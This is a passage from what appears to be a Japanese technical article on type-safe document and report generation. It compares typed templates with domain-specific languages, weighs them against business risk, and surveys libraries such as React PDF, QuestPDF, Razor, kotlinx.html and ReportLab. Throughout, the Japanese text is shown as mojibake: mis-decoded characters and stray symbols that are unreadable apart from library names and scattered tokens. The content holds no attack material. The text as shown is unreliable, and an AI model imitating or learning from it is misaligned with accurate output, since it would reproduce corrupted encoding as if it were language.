- ã¯ãã¹ãã¡ã³ã¯ã·ã§ãã«ããŒã ïŒã¯ãŒã¯ãããŒã«ããã³ãã¬ãŒããçŽæ¥ç·šéãããã¶ã€ããŒãŸãã¯ã³ã³ãã³ããããŒãžã£ãŒãå«ãŸããŠããå Žåããããã®ãã³ãã¬ãŒããã¡ã€ã«ãä¿æããã·ã¹ãã ãäžå¯æ¬ ã§ããããã«ãããã¬ãã«4AïŒå察å¿ãã³ãã¬ãŒãïŒã®ã¢ãããŒããçæ³çãªåŠ¥åç¹ãšãªããå¿ èŠãªã¯ãŒã¯ãããŒã圌ãã«æäŸããéçºè ã«å¿ èŠãªå®å šæ§ãæäŸããŸãã
- ããã¯ãšã³ãéèŠã®ããŒã ïŒäž»ã«ãœãããŠã§ã¢ãšã³ãžãã¢ã§æ§æãããããŒã ã®å ŽåãDSLïŒã¬ãã«4BïŒãæ¡çšããããã®éå£ã¯éåžžã«äœãã§ããå®å šæ§ãšãã¯ãŒã«ããã倧ããªã¡ãªããã«ãããå€ãã®å Žåãæãå¹ççã§å ç¢ãªéžæè¢ãšãªããŸãã
ãªã¹ã¯ã«å¯Ÿãã蚱容床ãè©äŸ¡ãã
ãã®ããã¥ã¡ã³ãã¯ãããžãã¹ã«ãšã£ãŠã©ãã»ã©éèŠã§ããïŒå éšç®¡çããã·ã¥ããŒãã§ã®ééãã¯äžäŸ¿ã§ããæ°çŸäžãã«ã®ã¯ã©ã€ã¢ã³ãè«æ±æžã§ã®ééãã¯ã倧æšäºã§ããçæãããæ³çããã¥ã¡ã³ãã®ãã°ã¯ãæ·±å»ãªã³ã³ãã©ã€ã¢ã³ã¹ãžã®åœ±é¿ãäžããå¯èœæ§ããããŸããããžãã¹ãªã¹ã¯ãé«ããã°é«ãã»ã©ãã¬ãã«4ãæäŸããæå€§ã®å®å šæ§ãæè³ããããã®è°è«ã匷ããªããŸãã
ã°ããŒãã«ãšã³ã·ã¹ãã ã«ãããæ³šç®ãã¹ãã©ã€ãã©ãªãšã¢ãããŒã
ãããã®æŠå¿µã¯åãªãçè«ã§ã¯ãããŸãããã¿ã€ãã»ãŒããªããã¥ã¡ã³ãçæãå¯èœã«ããåªããã©ã€ãã©ãªããå€ãã®ãã©ãããã©ãŒã ã«ååšããŸãã
- TypeScript/JavaScriptïŒReact PDFã¯DSLã®å¥œäŸã§ãããäœ¿ãæ £ããReactã³ã³ããŒãã³ããšTypeScriptã䜿çšããå®å šãªåå®å šæ§ã䜿çšããŠPDFãæ§ç¯ã§ããŸããHTMLããŒã¹ã®ããã¥ã¡ã³ãã®å ŽåïŒãã®åŸãPuppeteerãŸãã¯Playwrightãªã©ã®ããŒã«ãä»ããŠPDFã«å€æã§ããŸãïŒãReactïŒJSX/TSXä»ãïŒãŸãã¯Svelteãªã©ã®ãã¬ãŒã ã¯ãŒã¯ã䜿çšããŠHTMLãçæãããšãå®å šã«ã¿ã€ãã»ãŒããªãã€ãã©ã€ã³ãæäŸãããŸãã
- C#/.NETïŒQuestPDFã¯ãPDFããã¥ã¡ã³ããçæããããã®çŸããèšèšãããæµæ¢ãªDSLãæäŸããã¢ãã³ãªãªãŒãã³ãœãŒã¹ã©ã€ãã©ãªã§ãããã¬ãã«4Bã¢ãããŒããããã«ãšã¬ã¬ã³ãã§åŒ·åã§ãããã蚌æããŠããŸãã匷åãªåä»ã
@modelãã£ã¬ã¯ãã£ããåãããã€ãã£ãRazorãšã³ãžã³ã¯ãã¬ãã«4Aã®æäžäœã®äŸã§ãã - Java/KotlinïŒkotlinx.htmlã©ã€ãã©ãªã¯ãHTMLãæ§ç¯ããããã®åå®å šãªDSLãæäŸããŸããPDFã®å ŽåãOpenPDFãŸãã¯iTextã®ãããªæçããã©ã€ãã©ãªã¯ãããã«äœ¿çšã§ããDSLã§ã¯ãããŸããããåãç®æšãéæããããã«ãã«ã¹ã¿ã ã®åå®å šãªãã«ããŒãã¿ãŒã³ã§ã©ããã§ããããã°ã©ã APIãæäŸããŸãã
- PythonïŒåçåä»ãèšèªã§ãããåãã³ãïŒ
typingã¢ãžã¥ãŒã«ïŒã®å ç¢ãªãµããŒãã«ãããéçºè ã¯åå®å šæ§ã«éåžžã«è¿ã¥ãããšãã§ããŸããReportLabã®ãããªããã°ã©ã ã©ã€ãã©ãªããå³å¯ã«åä»ããããããŒã¿ã¯ã©ã¹ããéçåæçšã®MyPyãªã©ã®ããŒã«ãšçµã¿åãããŠäœ¿çšââãããšãå®è¡æãšã©ãŒã®ãªã¹ã¯ãå€§å¹ ã«æžããããšãã§ããŸãã
çµè«ïŒå£ããããæååããå埩åã®ããã·ã¹ãã ãž
çã®æååé£çµããã¿ã€ãã»ãŒããªDSLãžã®éã®ãã¯ãåãªãæè¡çãªã¢ããã°ã¬ãŒã以äžã®ãã®ã§ããããã¯ããœãããŠã§ã¢ã®å質ã«ã©ã®ããã«ã¢ãããŒããããã®æ ¹æ¬çãªå€åã§ããããã¯ããšã©ãŒã®ã¯ã©ã¹å šäœã®æ€åºããäºæž¬äžèœãªå®è¡æã®æ··ä¹±ãããã³ãŒããšãã£ã¿ãŒã®ç©ããã§å¶åŸ¡ãããç°å¢ã«ç§»åããããšã§ãã
ããã¥ã¡ã³ãããä»»æã®ããã¹ãã®ãããã§ã¯ãªããæ§é åãããåä»ãã®ããŒã¿ãšããŠæ±ãããšã§ãããå ç¢ã§ãä¿å®ã容æã§ã倿Žãå®å šãªã·ã¹ãã ãæ§ç¯ããŸããã³ã³ãã€ã©ãŒã¯ããã€ãŠã¯åçŽãªã³ãŒãã®ç¿»èš³è ã§ããããã¢ããªã±ãŒã·ã§ã³ã®æ£ç¢ºãã®èŠæçãªä¿è·è ã«ãªããŸãã
ã¬ããŒãçæã«ãããåå®å šæ§ã¯ãåŠè¡çãªèŽ æ²¢ã§ã¯ãããŸãããè€éãªããŒã¿ãšé«ããŠãŒã¶ãŒã®æåŸ ã®äžçã§ã¯ãå質ãéçºè ã®çç£æ§ãããã³ããžãã¹ã®å埩åãžã®æŠç¥çæè³ã§ããæ¬¡åãããã¥ã¡ã³ãã®çæãä»»ãããããããŒã¿ããã³ãã¬ãŒãã«é©åããããšãæåŸ ããã ãã§ãªããåã·ã¹ãã ã§ããã蚌æããŠãã ããã